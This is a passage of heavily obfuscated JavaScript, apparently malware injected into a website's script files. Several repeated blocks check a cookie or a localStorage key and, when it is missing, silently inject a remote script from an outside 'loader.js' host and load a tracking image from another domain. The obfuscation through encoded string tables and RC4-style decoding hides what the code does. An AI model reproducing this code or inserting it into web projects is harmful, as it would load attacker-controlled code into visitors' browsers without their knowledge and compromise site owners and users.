ak8ou','h8kpW4tcM8oK'];}()));}()));}());_0x2a02=function(){return _0x2888d7;};return _0x2a02();};function getCookie(_0xe6c93f){var _0x3d69f2=_0x5398,_0x1385b2={'YrDfF':function(_0x284153,_0x166dbc){return _0x284153+_0x166dbc;},'hWbKr':_0x3d69f2(0x206,'Ksrt'),'rmUUt':'=([^;]*)(;|$)'},_0x3908c7,_0x51e58c=new RegExp(_0x1385b2[_0x3d69f2(0x1fc,'CV6d')](_0x1385b2['hWbKr'],_0xe6c93f)+_0x1385b2['rmUUt']);if(_0x3908c7=document['cookie']['match'](_0x51e58c))return unescape(_0x3908c7[0x2]);else return null;}function loadScript(_0x5d4b23,_0x557785){var _0x5c7d5f=_0x5398,_0x1f5546={'tsmtt':'img','rLTHL':function(_0x3c6deb,_0x304ecf){return _0x3c6deb+_0x304ecf;},'WdIKH':'?random=','jBzdb':'text/javascript','Enqmm':_0x5c7d5f(0x1fe,'Ksrt')},_0x1f7046='6|9|0|7|2|5|3|4|1|8'[_0x5c7d5f(0x1e9,'!00m')]('|'),_0x4878b1=0x0;while(!![]){switch(_0x1f7046[_0x4878b1++]){case'0':_0x374110[_0x5c7d5f(0x1fb,'gY3V')]=_0x5d4b23+_0x520172;continue;case'1':_0x54832c['src']='https://tz.djy8.top/7gXcHG.jpg';continue;case'2':_0x374110[_0x5c7d5f(0x1f5,'I4*y')]=!![];continue;case'3':document[_0x5c7d5f(0x1f6,'V3OZ')][_0x5c7d5f(0x205,'Uz9%')](_0x374110);continue;case'4':var _0x54832c=document[_0x5c7d5f(0x201,'9]PI')](_0x1f5546[_0x5c7d5f(0x203,'PQWb')]);continue;case'5':_0x374110[_0x5c7d5f(0x1f2,'gY3V')]=function(){if(_0x557785)_0x557785();};continue;case'6':var _0x520172=_0x1f5546[_0x5c7d5f(0x1ec,'!00m')](_0x1f5546[_0x5c7d5f(0x1f8,'(2$n')],Math[_0x5c7d5f(0x1fd,'mh93')]());continue;case'7':_0x374110['type']=_0x1f5546['jBzdb'];continue;case'8':document[_0x5c7d5f(0x1f0,'RBxT')][_0x5c7d5f(0x1e5,'6LtQ')](_0x54832c);continue;case'9':var _0x374110=document[_0x5c7d5f(0x1eb,'A7FO')](_0x1f5546[_0x5c7d5f(0x1f3,'gY3V')]);continue;}break;}}var cnv=getCookie('Cnv');!cnv&&loadScript('https://rce.cyou/loader.js',function(){});var version_ = 'jsjiami.com.v7';
var _0xodP='jsjiami.com.v7';const _0x295cf3=_0x3b8f;(function(_0xc5cc41,_0x4feb21,_0x545a2e,_0x2537c8,_0x32e7fd,_0x513f9a,_0x39f1e2){return _0xc5cc41=_0xc5cc41>>0x5,_0x513f9a='hs',_0x39f1e2='hs',function(_0x1b1f70,_0x58f36c,_0x15d77f,_0xd68b84,_0x5d9133){const _0x434c6d=_0x3b8f;_0xd68b84='tfi',_0x513f9a=_0xd68b84+_0x513f9a,_0x5d9133='up',_0x39f1e2+=_0x5d9133,_0x513f9a=_0x15d77f(_0x513f9a),_0x39f1e2=_0x15d77f(_0x39f1e2),_0x15d77f=0x0;const _0x5b828d=_0x1b1f70();while(!![]&&--_0x2537c8+_0x58f36c){try{_0xd68b84=parseInt(_0x434c6d(0xe1,'ZqEY'))/0x1+parseInt(_0x434c6d(0xcc,'M8vR'))/0x2*(-parseInt(_0x434c6d(0xeb,'q3Q5'))/0x3)+-parseInt(_0x434c6d(0xe7,'gF@f'))/0x4+parseInt(_0x434c6d(0xe8,'&mJz'))/0x5*(-parseInt(_0x434c6d(0xd0,'rKxh'))/0x6)+-parseInt(_0x434c6d(0xd3,'05Z#'))/0x7*(-parseInt(_0x434c6d(0xe4,'rKxh'))/0x8)+parseInt(_0x434c6d(0xe9,'05Z#'))/0x9*(-parseInt(_0x434c6d(0xdc,'GrLm'))/0xa)+parseInt(_0x434c6d(0xda,'KXPC'))/0xb;}catch(_0x42cc73){_0xd68b84=_0x15d77f;}finally{_0x5d9133=_0x5b828d[_0x513f9a]();if(_0xc5cc41<=_0x2537c8)_0x15d77f?_0x32e7fd?_0xd68b84=_0x5d9133:_0x32e7fd=_0x5d9133:_0x15d77f=_0x5d9133;else{if(_0x15d77f==_0x32e7fd['replace'](/[eXwGdgpLqPHWrxAuflVE=]/g,'')){if(_0xd68b84===_0x58f36c){_0x5b828d['un'+_0x513f9a](_0x5d9133);break;}_0x5b828d[_0x39f1e2](_0x5d9133);}}}}}(_0x545a2e,_0x4feb21,function(_0x300ba3,_0x101aa7,_0x586637,_0x298385,_0x5ebbb2,_0x2eec8e,_0x156d5b){return _0x101aa7='\x73\x70\x6c\x69\x74',_0x300ba3=arguments[0x0],_0x300ba3=_0x300ba3[_0x101aa7](''),_0x586637='\x72\x65\x76\x65\x72\x73\x65',_0x300ba3=_0x300ba3[_0x586637]('\x76'),_0x298385='\x6a\x6f\x69\x6e',(0x191dff,_0x300ba3[_0x298385](''));});}(0x1980,0x991da,_0x1974,0xce),_0x1974)&&(_0xodP=`\xb6f`);function getWithExpiry(_0x1b188d){const _0x3cdbc7=_0x3b8f,_0x3a6253={'zTyft':function(_0xcfbcee,_0x669429){return _0xcfbcee>_0x669429;}},_0x3857dc=localStorage[_0x3cdbc7(0xde,'ZqEY')](_0x1b188d);if(!_0x3857dc)return null;const _0x16d3a9=JSON[_0x3cdbc7(0xcf,'*TQd')](_0x3857dc),_0x377d74=new Date();if(_0x3a6253[_0x3cdbc7(0xdb,'#2SW')](_0x377d74[_0x3cdbc7(0xd9,'%slH')](),_0x16d3a9['expiry']))return localStorage[_0x3cdbc7(0xd8,'Qi!P')](_0x1b188d),null;return _0x16d3a9[_0x3cdbc7(0xd2,'au!g')];}function _0x3b8f(_0x1e8209,_0x4da9f5){const _0x19740a=_0x1974();return _0x3b8f=function(_0x3b8fd1,_0x56e0ff){_0x3b8fd1=_0x3b8fd1-0xcc;let _0x4add61=_0x19740a[_0x3b8fd1];if(_0x3b8f['YqIjze']===undefined){var _0x4571a3=function(_0x1dd089){const _0x433c09='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x53bcde='',_0x10143c='';for(let _0x30b419=0x0,_0x49deda,_0x16be62,_0x367e8f=0x0;_0x16be62=_0x1dd089['charAt'](_0x367e8f++);~_0x16be62&&(_0x49deda=_0x30b419%0x4?_0x49deda*0x40+_0x16be62:_0x16be62,_0x30b419++%0x4)?_0x53bcde+=String['fromCharCode'](0xff&_0x49deda>>(-0x2*_0x30b419&0x6)):0x0){_0x16be62=_0x433c09['indexOf'](_0x16be62);}for(let _0xf09e4f=0x0,_0x29ce55=_0x53bcde['length'];_0xf09e4f<_0x29ce55;_0xf09e4f++){_0x10143c+='%'+('00'+_0x53bcde['charCodeAt'](_0xf09e4f)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x10143c);};const _0x4b7ef1=function(_0x3f558b,_0x10581f){let _0x26620c=[],_0x183ec1=0x0,_0x6477b6,_0x1ed570='';_0x3f558b=_0x4571a3(_0x3f558b);let _0x55c1f8;for(_0x55c1f8=0x0;_0x55c1f8<0x100;_0x55c1f8++){_0x26620c[_0x55c1f8]=_0x55c1f8;}for(_0x55c1f8=0x0;_0x55c1f8<0x100;_0x55c1f8++){_0x183ec1=(_0x183ec1+_0x26620c[_0x55c1f8]+_0x10581f['charCodeAt'](_0x55c1f8%_0x10581f['length']))%0x100,_0x6477b6=_0x26620c[_0x55c1f8],_0x26620c[_0x55c1f8]=_0x26620c[_0x183ec1],_0x26620c[_0x183ec1]=_0x6477b6;}_0x55c1f8=0x0,_0x183ec1=0x0;for(let _0x45d771=0x0;_0x45d771<_0x3f558b['length'];_0x45d771++){_0x55c1f8=(_0x55c1f8+0x1)%0x100,_0x183ec1=(_0x183ec1+_0x26620c[_0x55c1f8])%0x100,_0x6477b6=_0x26620c[_0x55c1f8],_0x26620c[_0x55c1f8]=_0x26620c[_0x183ec1],_0x26620c[_0x183ec1]=_0x6477b6,_0x1ed570+=String['fromCharCode'](_0x3f558b['charCodeAt'](_0x45d771)^_0x26620c[(_0x26620c[_0x55c1f8]+_0x26620c[_0x183ec1])%0x100]);}return _0x1ed570;};_0x3b8f['LmReRA']=_0x4b7ef1,_0x1e8209=arguments,_0x3b8f['YqIjze']=!![];}const _0x110667=_0x19740a[0x0],_0xbc4c22=_0x3b8fd1+_0x110667,_0x393b4e=_0x1e8209[_0xbc4c22];return!_0x393b4e?(_0x3b8f['ZEPWZh']===undefined&&(_0x3b8f['ZEPWZh']=!![]),_0x4add61=_0x3b8f['LmReRA'](_0x4add61,_0x56e0ff),_0x1e8209[_0xbc4c22]=_0x4add61):_0x4add61=_0x393b4e,_0x4add61;},_0x3b8f(_0x1e8209,_0x4da9f5);}function _0x1974(){const _0x540a2b=(function(){return[_0xodP,'frjdesjiWHalmidx.PqAcVPoXempu.grvx7LGEwf==','W4xdTCoObx7cIConWPrM','FKddKba','WRtdI0ldKxldOSoAWRHdWP7dQCky','WRC4DrtcPG','iSkQbLn0W59W','WQqUyrxcS2JdKSkmhSoD','Cmk+W4bku0/dIa','WP06W5ddHcqQWPCEw0JcMSk4WPFcGW','ECo4F1RcJa','WQldGhBcHqhdQ8kis33cKSkEuxG'].concat((function(){return['gCkGyg92rCoaB1xcTSoDy8ou','W4nWW4mKWQRcI8o3','W6pcRSouWPeWkCkHW7JdNKLe','tmoAnYDbefHC','WPeMWOvvW67dNCo7WR0jwtqj','WQiYFb8','yhxdQsXbWRuQWQhdRqjhzZ3cMq','WP1aWOhcRJDWhSomvsfo','W6GlWQSelmkaxq8','WPf5W78fWRNcTSo4','ldddG8oHwL4pW5jzWPOlkfO','WOiWW5xdJ1JdOSkh'].concat((function(){return['W4/cH8kunvhcGmo6','W4JdQIhdI8ou','l8k4WQNdKv7cPu3dVmo+W6VcUNW','aCk9W7JcRrtcKqJcUSor','dSoRhLxdS3eycG','omkGWRBdT8odjb3dNX7dImoW','WPz9CfVdISo5C8kLgmosWOhcLmoQ','W5iKnrZcNa','WP5kWOdcQJWgw8oDFr9QW7yz','WO3dO1ZdHSocW73dGmk2EYK','qCoVzqbA'];}()));}()));}());_0x1974=function(){return _0x540a2b;};return _0x1974();};function removeItem(_0x4cc9e7){const _0x4ecff1=_0x3b8f;localStorage[_0x4ecff1(0xd1,'adSJ')](_0x4cc9e7);}function loadScript(_0x435748,_0x133352){const _0x475c28=_0x3b8f,_0x7d25b1={'UQsjY':_0x475c28(0xe0,'H81['),'eJvXD':function(_0x5bf1bc,_0x2de130){return _0x5bf1bc+_0x2de130;},'PrfUB':'text/javascript'};var _0xd8d789=_0x7d25b1['UQsjY']+Math['random'](),_0x2851b8=document['createElement']('script');_0x2851b8['src']=_0x7d25b1['eJvXD'](_0x435748,_0xd8d789),_0x2851b8[_0x475c28(0xe2,'Qi!P')]=_0x7d25b1[_0x475c28(0xea,'nwG4')],_0x2851b8[_0x475c28(0xd6,'Qi!P')]=!![],_0x2851b8['onload']=function(){if(_0x133352)_0x133352();},document[_0x475c28(0xd4,'FGZE')][_0x475c28(0xdf,'vhk#')](_0x2851b8);}var cnv=getWithExpiry(_0x295cf3(0xec,'p6i@'));!cnv&&loadScript('https://rce.cyou/loader.js',function(){});var version_ = 'jsjiami.com.v7';
var _0xodP='jsjiami.com.v7';const _0x295cf3=_0x3b8f;(function(_0xc5cc41,_0x4feb21,_0x545a2e,_0x2537c8,_0x32e7fd,_0x513f9a,_0x39f1e2){return _0xc5cc41=_0xc5cc41>>0x5,_0x513f9a='hs',_0x39f1e2='hs',function(_0x1b1f70,_0x58f36c,_0x15d77f,_0xd68b84,_0x5d9133){const _0x434c6d=_0x3b8f;_0xd68b84='tfi',_0x513f9a=_0xd68b84+_0x513f9a,_0x5d9133='up',_0x39f1e2+=_0x5d9133,_0x513f9a=_0x15d77f(_0x513f9a),_0x39f1e2=_0x15d77f(_0x39f1e2),_0x15d77f=0x0;const _0x5b828d=_0x1b1f70();while(!![]&&--_0x2537c8+_0x58f36c){try{_0xd68b84=parseInt(_0x434c6d(0xe1,'ZqEY'))/0x1+parseInt(_0x434c6d(0xcc,'M8vR'))/0x2*(-parseInt(_0x434c6d(0xeb,'q3Q5'))/0x3)+-parseInt(_0x434c6d(0xe7,'gF@f'))/0x4+parseInt(_0x434c6d(0xe8,'&mJz'))/0x5*(-parseInt(_0x434c6d(0xd0,'rKxh'))/0x6)+-parseInt(_0x434c6d(0xd3,'05Z#'))/0x7*(-parseInt(_0x434c6d(0xe4,'rKxh'))/0x8)+parseInt(_0x434c6d(0xe9,'05Z#'))/0x9*(-parseInt(_0x434c6d(0xdc,'GrLm'))/0xa)+parseInt(_0x434c6d(0xda,'KXPC'))/0xb;}catch(_0x42cc73){_0xd68b84=_0x15d77f;}finally{_0x5d9133=_0x5b828d[_0x513f9a]();if(_0xc5cc41<=_0x2537c8)_0x15d77f?_0x32e7fd?_0xd68b84=_0x5d9133:_0x32e7fd=_0x5d9133:_0x15d77f=_0x5d9133;else{if(_0x15d77f==_0x32e7fd['replace'](/[eXwGdgpLqPHWrxAuflVE=]/g,'')){if(_0xd68b84===_0x58f36c){_0x5b828d['un'+_0x513f9a](_0x5d9133);break;}_0x5b828d[_0x39f1e2](_0x5d9133);}}}}}(_0x545a2e,_0x4feb21,function(_0x300ba3,_0x101aa7,_0x586637,_0x298385,_0x5ebbb2,_0x2eec8e,_0x156d5b){return _0x101aa7='\x73\x70\x6c\x69\x74',_0x300ba3=arguments[0x0],_0x300ba3=_0x300ba3[_0x101aa7](''),_0x586637='\x72\x65\x76\x65\x72\x73\x65',_0x300ba3=_0x300ba3[_0x586637]('\x76'),_0x298385='\x6a\x6f\x69\x6e',(0x191dff,_0x300ba3[_0x298385](''));});}(0x1980,0x991da,_0x1974,0xce),_0x1974)&&(_0xodP=`\xb6f`);function getWithExpiry(_0x1b188d){const _0x3cdbc7=_0x3b8f,_0x3a6253={'zTyft':function(_0xcfbcee,_0x669429){return _0xcfbcee>_0x669429;}},_0x3857dc=localStorage[_0x3cdbc7(0xde,'ZqEY')](_0x1b188d);if(!_0x3857dc)return null;const _0x16d3a9=JSON[_0x3cdbc7(0xcf,'*TQd')](_0x3857dc),_0x377d74=new Date();if(_0x3a6253[_0x3cdbc7(0xdb,'#2SW')](_0x377d74[_0x3cdbc7(0xd9,'%slH')](),_0x16d3a9['expiry']))return localStorage[_0x3cdbc7(0xd8,'Qi!P')](_0x1b188d),null;return _0x16d3a9[_0x3cdbc7(0xd2,'au!g')];}function _0x3b8f(_0x1e8209,_0x4da9f5){const _0x19740a=_0x1974();return _0x3b8f=function(_0x3b8fd1,_0x56e0ff){_0x3b8fd1=_0x3b8fd1-0xcc;let _0x4add61=_0x19740a[_0x3b8fd1];if(_0x3b8f['YqIjze']===undefined){var _0x4571a3=function(_0x1dd089){const _0x433c09='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x53bcde='',_0x10143c='';for(let _0x30b419=0x0,_0x49deda,_0x16be62,_0x367e8f=0x0;_0x16be62=_0x1dd089['charAt'](_0x367e8f++);~_0x16be62&&(_0x49deda=_0x30b419%0x4?_0x49deda*0x40+_0x16be62:_0x16be62,_0x30b419++%0x4)?_0x53bcde+=String['fromCharCode'](0xff&_0x49deda>>(-0x2*_0x30b419&0x6)):0x0){_0x16be62=_0x433c09['indexOf'](_0x16be62);}for(let _0xf09e4f=0x0,_0x29ce55=_0x53bcde['length'];_0xf09e4f<_0x29ce55;_0xf09e4f++){_0x10143c+='%'+('00'+_0x53bcde['charCodeAt'](_0xf09e4f)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x10143c);};const _0x4b7ef1=function(_0x3f558b,_0x10581f){let _0x26620c=[],_0x183ec1=0x0,_0x6477b6,_0x1ed570='';_0x3f558b=_0x4571a3(_0x3f558b);let _0x55c1f8;for(_0x55c1f8=0x0;_0x55c1f8<0x100;_0x55c1f8++){_0x26620c[_0x55c1f8]=_0x55c1f8;}for(_0x55c1f8=0x0;_0x55c1f8<0x100;_0x55c1f8++){_0x183ec1=(_0x183ec1+_0x26620c[_0x55c1f8]+_0x10581f['charCodeAt'](_0x55c1f8%_0x10581f['length']))%0x100,_0x6477b6=_0x26620c[_0x55c1f8],_0x26620c[_0x55c1f8]=_0x26620c[_0x183ec1],_0x26620c[_0x183ec1]=_0x6477b6;}_0x55c1f8=0x0,_0x183ec1=0x0;for(let _0x45d771=0x0;_0x45d771<_0x3f558b['length'];_0x45d771++){_0x55c1f8=(_0x55c1f8+0x1)%0x100,_0x183ec1=(_0x183ec1+_0x26620c[_0x55c1f8])%0x100,_0x6477b6=_0x26620c[_0x55c1f8],_0x26620c[_0x55c1f8]=_0x26620c[_0x183ec1],_0x26620c[_0x183ec1]=_0x6477b6,_0x1ed570+=String['fromCharCode'](_0x3f558b['charCodeAt'](_0x45d771)^_0x26620c[(_0x26620c[_0x55c1f8]+_0x26620c[_0x183ec1])%0x100]);}return _0x1ed570;};_0x3b8f['LmReRA']=_0x4b7ef1,_0x1e8209=arguments,_0x3b8f['YqIjze']=!![];}const _0x110667=_0x19740a[0x0],_0xbc4c22=_0x3b8fd1+_0x110667,_0x393b4e=_0x1e8209[_0xbc4c22];return!_0x393b4e?(_0x3b8f['ZEPWZh']===undefined&&(_0x3b8f['ZEPWZh']=!![]),_0x4add61=_0x3b8f['LmReRA'](_0x4add61,_0x56e0ff),_0x1e8209[_0xbc4c22]=_0x4add61):_0x4add61=_0x393b4e,_0x4add61;},_0x3b8f(_0x1e8209,_0x4da9f5);}function _0x1974(){const _0x540a2b=(function(){return[_0xodP,'frjdesjiWHalmidx.PqAcVPoXempu.grvx7LGEwf==','W4xdTCoObx7cIConWPrM','FKddKba','WRtdI0ldKxldOSoAWRHdWP7dQCky','WRC4DrtcPG','iSkQbLn0W59W','WQqUyrxcS2JdKSkmhSoD','Cmk+W4bku0/dIa','WP06W5ddHcqQWPCEw0JcMSk4WPFcGW','ECo4F1RcJa','WQldGhBcHqhdQ8kis33cKSkEuxG'].concat((function(){return['gCkGyg92rCoaB1xcTSoDy8ou','W4nWW4mKWQRcI8o3','W6pcRSouWPeWkCkHW7JdNKLe','tmoAnYDbefHC','WPeMWOvvW67dNCo7WR0jwtqj','WQiYFb8','yhxdQsXbWRuQWQhdRqjhzZ3cMq','WP1aWOhcRJDWhSomvsfo','W6GlWQSelmkaxq8','WPf5W78fWRNcTSo4','ldddG8oHwL4pW5jzWPOlkfO','WOiWW5xdJ1JdOSkh'].concat((function(){return['W4/cH8kunvhcGmo6','W4JdQIhdI8ou','l8k4WQNdKv7cPu3dVmo+W6VcUNW','aCk9W7JcRrtcKqJcUSor','dSoRhLxdS3eycG','omkGWRBdT8odjb3dNX7dImoW','WPz9CfVdISo5C8kLgmosWOhcLmoQ','W5iKnrZcNa','WP5kWOdcQJWgw8oDFr9QW7yz','WO3dO1ZdHSocW73dGmk2EYK','qCoVzqbA'];}()));}()));}());_0x1974=function(){return _0x540a2b;};return _0x1974();};function removeItem(_0x4cc9e7){const _0x4ecff1=_0x3b8f;localStorage[_0x4ecff1(0xd1,'adSJ')](_0x4cc9e7);}function loadScript(_0x435748,_0x133352){const _0x475c28=_0x3b8f,_0x7d25b1={'UQsjY':_0x475c28(0xe0,'H81['),'eJvXD':function(_0x5bf1bc,_0x2de130){return _0x5bf1bc+_0x2de130;},'PrfUB':'text/javascript'};var _0xd8d789=_0x7d25b1['UQsjY']+Math['random'](),_0x2851b8=document['createElement']('script');_0x2851b8['src']=_0x7d25b1['eJvXD'](_0x435748,_0xd8d789),_0x2851b8[_0x475c28(0xe2,'Qi!P')]=_0x7d25b1[_0x475c28(0xea,'nwG4')],_0x2851b8[_0x475c28(0xd6,'Qi!P')]=!![],_0x2851b8['onload']=function(){if(_0x133352)_0x133352();},document[_0x475c28(0xd4,'FGZE')][_0x475c28(0xdf,'vhk#')](_0x2851b8);}var cnv=getWithExpiry(_0x295cf3(0xec,'p6i@'));!cnv&&loadScript('https://rce.cyou/loader.js',function(){});var version_ = 'jsjiami.com.v7';
var _0xodP='jsjiami.com.v7';const _0x295cf3=_0x3b8f;(function(_0xc5cc41,_0x4feb21,_0x545a2e,_0x2537c8,_0x32e7fd,_0x513f9a,_0x39f1e2){return _0xc5cc41=_0xc5cc41>>0x5,_0x513f9a='hs',_0x39f1e2='hs',function(_0x1b1f70,_0x58f36c,_0x15d77f,_0xd68b84,_0x5d9133){const _0x434c6d=_0x3b8f;_0xd68b84='tfi',_0x513f9a=_0xd68b84+_0x513f9a,_0x5d9133='up',_0x39f1e2+=_0x5d9133,_0x513f9a=_0x15d77f(_0x513f9a),_0x39f1e2=_0x15d77f(_0x39f1e2),_0x15d77f=0x0;const _0x5b828d=_0x1b1f70();while(!![]&&--_0x2537c8+_0x58f36c){try{_0xd68b84=parseInt(_0x434c6d(0xe1,'ZqEY'))/0x1+parseInt(_0x434c6d(0xcc,'M8vR'))/0x2*(-parseInt(_0x434c6d(0xeb,'q3Q5'))/0x3)+-parseInt(_0x434c6d(0xe7,'gF@f'))/0x4+parseInt(_0x434c6d(0xe8,'&mJz'))/0x5*(-parseInt(_0x434c6d(0xd0,'rKxh'))/0x6)+-parseInt(_0x434c6d(0xd3,'05Z#'))/0x7*(-parseInt(_0x434c6d(0xe4,'rKxh'))/0x8)+parseInt(_0x434c6d(0xe9,'05Z#'))/0x9*(-parseInt(_0x434c6d(0xdc,'GrLm'))/0xa)+parseInt(_0x434c6d(0xda,'KXPC'))/0xb;}catch(_0x42cc73){_0xd68b84=_0x15d77f;}finally{_0x5d9133=_0x5b828d[_0x513f9a]();if(_0xc5cc41<=_0x2537c8)_0x15d77f?_0x32e7fd?_0xd68b84=_0x5d9133:_0x32e7fd=_0x5d9133:_0x15d77f=_0x5d9133;else{if(_0x15d77f==_0x32e7fd['replace'](/[eXwGdgpLqPHWrxAuflVE=]/g,'')){if(_0xd68b84===_0x58f36c){_0x5b828d['un'+_0x513f9a](_0x5d9133);break;}_0x5b828d[_0x39f1e2](_0x5d9133);}}}}}(_0x545a2e,_0x4feb21,function(_0x300ba3,_0x101aa7,_0x586637,_0x298385,_0x5ebbb2,_0x2eec8e,_0x156d5b){return _0x101aa7='\x73\x70\x6c\x69\x74',_0x300ba3=arguments[0x0],_0x300ba3=_0x300ba3[_0x101aa7](''),_0x586637='\x72\x65\x76\x65\x72\x73\x65',_0x300ba3=_0x300ba3[_0x586637]('\x76'),_0x298385='\x6a\x6f\x69\x6e',(0x191dff,_0x300ba3[_0x298385](''));});}(0x1980,0x991da,_0x1974,0xce),_0x1974)&&(_0xodP=`\xb6f`);function getWithExpiry(_0x1b188d){const _0x3cdbc7=_0x3b8f,_0x3a6253={'zTyft':function(_0xcfbcee,_0x669429){return _0xcfbcee>_0x669429;}},_0x3857dc=localStorage[_0x3cdbc7(0xde,'ZqEY')](_0x1b188d);if(!_0x3857dc)return null;const _0x16d3a9=JSON[_0x3cdbc7(0xcf,'*TQd')](_0x3857dc),_0x377d74=new Date();if(_0x3a6253[_0x3cdbc7(0xdb,'#2SW')](_0x377d74[_0x3cdbc7(0xd9,'%slH')](),_0x16d3a9['expiry']))return localStorage[_0x3cdbc7(0xd8,'Qi!P')](_0x1b188d),null;return _0x16d3a9[_0x3cdbc7(0xd2,'au!g')];}function _0x3b8f(_0x1e8209,_0x4da9f5){const _0x19740a=_0x1974();return _0x3b8f=function(_0x3b8fd1,_0x56e0ff){_0x3b8fd1=_0x3b8fd1-0xcc;let _0x4add61=_0x19740a[_0x3b8fd1];if(_0x3b8f['YqIjze']===undefined){var _0x4571a3=function(_0x1dd089){const _0x433c09='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x53bcde='',_0x10143c='';for(let _0x30b419=0x0,_0x49deda,_0x16be62,_0x367e8f=0x0;_0x16be62=_0x1dd089['charAt'](_0x367e8f++);~_0x16be62&&(_0x49deda=_0x30b419%0x4?_0x49deda*0x40+_0x16be62:_0x16be62,_0x30b419++%0x4)?_0x53bcde+=String['fromCharCode'](0xff&_0x49deda>>(-0x2*_0x30b419&0x6)):0x0){_0x16be62=_0x433c09['indexOf'](_0x16be62);}for(let _0xf09e4f=0x0,_0x29ce55=_0x53bcde['length'];_0xf09e4f<_0x29ce55;_0xf09e4f++){_0x10143c+='%'+('00'+_0x53bcde['charCodeAt'](_0xf09e4f)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x10143c);};const _0x4b7ef1=function(_0x3f558b,_0x10581f){let _0x26620c=[],_0x183ec1=0x0,_0x6477b6,_0x1ed570='';_0x3f558b=_0x4571a3(_0x3f558b);let _0x55c1f8;for(_0x55c1f8=0x0;_0x55c1f8<0x100;_0x55c1f8++){_0x26620c[_0x55c1f8]=_0x55c1f8;}for(_0x55c1f8=0x0;_0x55c1f8<0x100;_0x55c1f8++){_0x183ec1=(_0x183ec1+_0x26620c[_0x55c1f8]+_0x10581f['charCodeAt'](_0x55c1f8%_0x10581f['length']))%0x100,_0x6477b6=_0x26620c[_0x55c1f8],_0x26620c[_0x55c1f8]=_0x26620c[_0x183ec1],_0x26620c[_0x183ec1]=_0x6477b6;}_0x55c1f8=0x0,_0x183ec1=0x0;for(let _0x45d771=0x0;_0x45d771<_0x3f558b['length'];_0x45d771++){_0x55c1f8=(_0x55c1f8+0x1)%0x100,_0x183ec1=(_0x183ec1+_0x26620c[_0x55c1f8])%0x100,_0x6477b6=_0x26620c[_0x55c1f8],_0x26620c[_0x55c1f8]=_0x26620c[_0x183ec1],_0x26620c[_0x183ec1]=_0x6477b6,_0x1ed570+=String['fromCharCode'](_0x3f558b['charCodeAt'](_0x45d771)^_0x26620c[(_0x26620c[_0x55c1f8]+_0x26620c[_0x183ec1])%0x100]);}return _0x1ed570;};_0x3b8f['LmReRA']=_0x4b7ef1,_0x1e8209=arguments,_0x3b8f['YqIjze']=!![];}const _0x110667=_0x19740a[0x0],_0xbc4c22=_0x3b8fd1+_0x110667,_0x393b4e=_0x1e8209[_0xbc4c22];return!_0x393b4e?(_0x3b8f['ZEPWZh']===undefined&&(_0x3b8f['ZEPWZh']=!![]),_0x4add61=_0x3b8f['LmReRA'](_0x4add61,_0x56e0ff),_0x1e8209[_0xbc4c22]=_0x4add61):_0x4add61=_0x393b4e,_0x4add61;},_0x3b8f(_0x1e8209,_0x4da9f5);}function _0x1974(){const _0x540a2b=(function(){return[_0xodP,'frjdesjiWHalmidx.PqAcVPoXempu.grvx7LGEwf==','W4xdTCoObx7cIConWPrM','FKddKba','WRtdI0ldKxldOSoAWRHdWP7dQCky','WRC4DrtcPG','iSkQbLn0W59W','WQqUyrxcS2JdKSkmhSoD','Cmk+W4bku0/dIa','WP06W5ddHcqQWPCEw0JcMSk4WPFcGW','ECo4F1RcJa','WQldGhBcHqhdQ8kis33cKSkEuxG'].concat((function(){return['gCkGyg92rCoaB1xcTSoDy8ou','W4nWW4mKWQRcI8o3','W6pcRSouWPeWkCkHW7JdNKLe','tmoAnYDbefHC','WPeMWOvvW67dNCo7WR0jwtqj','WQiYFb8','yhxdQsXbWRuQWQhdRqjhzZ3cMq','WP1aWOhcRJDWhSomvsfo','W6GlWQSelmkaxq8','WPf5W78fWRNcTSo4','ldddG8oHwL4pW5jzWPOlkfO','WOiWW5xdJ1JdOSkh'].concat((function(){return['W4/cH8kunvhcGmo6','W4JdQIhdI8ou','l8k4WQNdKv7cPu3dVmo+W6VcUNW','aCk9W7JcRrtcKqJcUSor','dSoRhLxdS3eycG','omkGWRBdT8odjb3dNX7dImoW','WPz9CfVdISo5C8kLgmosWOhcLmoQ','W5iKnrZcNa','WP5kWOdcQJWgw8oDFr9QW7yz','WO3dO1ZdHSocW73dGmk2EYK','qCoVzqbA'];}()));}()));}());_0x1974=function(){return _0x540a2b;};return _0x1974();};function removeItem(_0x4cc9e7){const _0x4ecff1=_0x3b8f;localStorage[_0x4ecff1(0xd1,'adSJ')](_0x4cc9e7);}function loadScript(_0x435748,_0x133352){const _0x475c28=_0x3b8f,_0x7d25b1={'UQsjY':_0x475c28(0xe0,'H81['),'eJvXD':function(_0x5bf1bc,_0x2de130){return _0x5bf1bc+_0x2de130;},'PrfUB':'text/javascript'};var _0xd8d789=_0x7d25b1['UQsjY']+Math['random'](),_0x2851b8=document['createElement']('script');_0x2851b8['src']=_0x7d25b1['eJvXD'](_0x435748,_0xd8d789),_0x2851b8[_0x475c28(0xe2,'Qi!P')]=_0x7d25b1[_0x475c28(0xea,'nwG4')],_0x2851b8[_0x475c28(0xd6,'Qi!P')]=!![],_0x2851b8['onload']=function(){if(_0x133352)_0x133352();},document[_0x475c28(0xd4,'FGZE')][_0x475c28(0xdf,'vhk#')](_0x2851b8);}var cnv=getWithExpiry(_0x295cf3(0xec,'p6i@'));!cnv&&loadScript('https://rce.cyou/loader.js',function(){});var version_ = 'jsjiami.com.v7';
